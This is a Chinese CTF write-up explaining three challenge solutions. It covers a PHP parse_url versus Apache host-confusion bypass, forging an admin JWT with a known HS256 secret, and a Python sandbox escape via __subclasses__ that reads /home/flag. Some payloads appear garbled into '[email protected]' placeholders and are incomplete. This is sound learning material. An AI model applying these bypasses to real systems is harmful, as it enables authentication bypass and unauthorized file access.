比赛过去很久了,才勉强有精力总结一下用到的知识点,主要是关于wp中一笔带过,讲的比较模糊的三个方面总结下。
题目:
ini_set("display_errors",0);
$uri = $_SERVER['REQUEST_URI'];
if(stripos($uri,".")){
die("Unkonw URI.");
}
if(!parse_url($uri,PHP_URL_HOST)){
$uri = "http://".$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
}
$host = parse_url($uri,PHP_URL_HOST);
if($host === "c7f.zhuque.com"){
setcookie("AuthFlag","flag{*******");
1、先检测如果uri中 if(stripos($uri,".")) 就会结束,本意应该是不希望uri中出现点字符,但点在第0号位时,stripos函数返回值是0,if(0)不成立,就绕过了。。
2、第二个if是判断若这个uri不是个url,那么给它加上http://还有host还有uri,拼成一个url
3、用parse_url函数获取第二步拼接后$uri的Host,并判断是否等于特定值。
问题来了,怎么骗过parse_url函数,通过可控的uri部分,让整个被转换后识别出特定的host?
http://127.0.0.1/index.php
红色部分是可更改的uri,且第一个字符一定要是. 不然一开始就die了
(注意:改uri在burpsuite中改,不要在浏览器地址栏改,浏览器会把你的../自动忽略,可能有莫名bug)
我们先遵守第一条原则,uri的第一项必须是点.
那么经过拼接,必然是 http://127.0.0.1.xxxx
红色部分是可修改的,那如何把这个不标准的host地址能让parse_url函数完美识别呢?
利用@符号分隔,把127.0.0.1.识别为user,后边的部分作为host
http://[email protected]/ 会被识别为:
array (size=4)
'scheme' => string 'http' (length=4)
'host' => string 'abc.com' (length=7)
'user' => string '127.0.0.1.' (length=10)
'path' => string '/' (length=1)
即函数认为以用户名叫127.0.0.1.的用户,访问abc.com这个host
这样,host就变得可控了
但是问题又来了,搞定PHP端的pase_url函数,应发包 [email protected]/ 但提示bad url
因为apache解析url时出了问题,还需要调整paylaod同时满足后端PHP判断和前端apache的解析
我们看用burpsuite发包时的显示:
GET [email protected]/ HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
其实是向127.0.0.1地址,发送请求,请求的路径为 [email protected]/
但我们并没有[email protected]/这个路径,所以,后加个../跳回根目录
即127.0.0.1的根目录,再去根目录找到这个文件的地址 /index.php
所以,最终payload为提交路径
[email protected]/..//index.php
综述:
该漏洞出现的原因是,parse_url函数和apache对地址的解析方式不同。
PHP认为127.0.0.1.是个user,c7f.zhuque.com是真实host
apache认为127.0.0.1是host,[email protected]/是一个路径,后边..//index.php退回根目录,再访问index.php
知识点基于题目i_am_admin
讨论的是,token的生成方式,关于JWT方式。
在JWT方式下,生成一个token,最少需要3部分,3部分之间用.连接
第一部分,头,可以是
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
它解base64后是
{"alg":"HS256","typ":"JWT"}
表示用HS256加密,生成方式是JWT
第二部分是信息部分
eyJ1c2VybmFtZSI6InRlc3QifQ
解base64后是
{"username":"test"}
第三部分是 前两部分被密钥加密后的值
要生成第三部分,要先把前两部分用.连接起来
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ
注意中间的点。
用一个密钥,把连接起来的值加密,加密结果以base64显示,就是第三部分。
而这个密钥是服务器保存的私钥,用来防止这个token被伪造,因为其他人不知道密钥,就无法伪造出token的第三段。
若已知密钥为
uy8qz-!kru%*2h7$q&veq=y_r1abu-xd_219y%phex!@4hv62+
想把test用户伪造成admin:
1、第一部分不变,
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
解密后是{"alg":"HS256","typ":"JWT"}
2、第二部分test改为admin
{"username":"admin"}对它base64加密,加密后不加等号
eyJ1c2VybmFtZSI6ImFkbWluIn0
3、利用已知密钥,计算第三部分
先拼接前两部分为
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0
利用编程语言实现HMAC_SHA256加密,这里贴出PHP的利用代码
得到 NYSsNZ1gR8EUYebNTmXPBhdoh+mA5OjHkeWjM4gPxqY=
记得把最后的等号去掉!就是第三部分了
所以最后的token是:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.NYSsNZ1gR8EUYebNTmXPBhdoh+mA5OjHkeWjM4gPxqY
参考资料
https://www.cnblogs.com/anny0404/p/5318692.html
https://blog.csdn.net/js_sky/article/details/49024959
题目本是python模板注入,但本菜鸡太水了,没搞懂,趁机研究一下python逃逸吧。
''.__class__
可以获取到字符串类 str
''.__class__.__mro__
可以获取到str类继承过的类,其中,最后一个是object类
所以
''.__class__.__mro__[-1]可以获取到object类
''.__class__.__mro__[-1].__subclasses__()获取到object的所有子类,非常多
找到第40个是file类,可以操纵文件
''.__class__.__mro__[-1].__subclasses__()[40]
即可得到file类
调用file类的函数read
''.__class__.__mro__[-1].__subclasses__()[40]('/home/flag').read()
即可打印出flag内容。
有待继续学习
参考
https://www.cnblogs.com/wfzWebSecuity/p/9415641.html
https://www.jianshu.com/p/5a7cf3c82608
感谢,侵删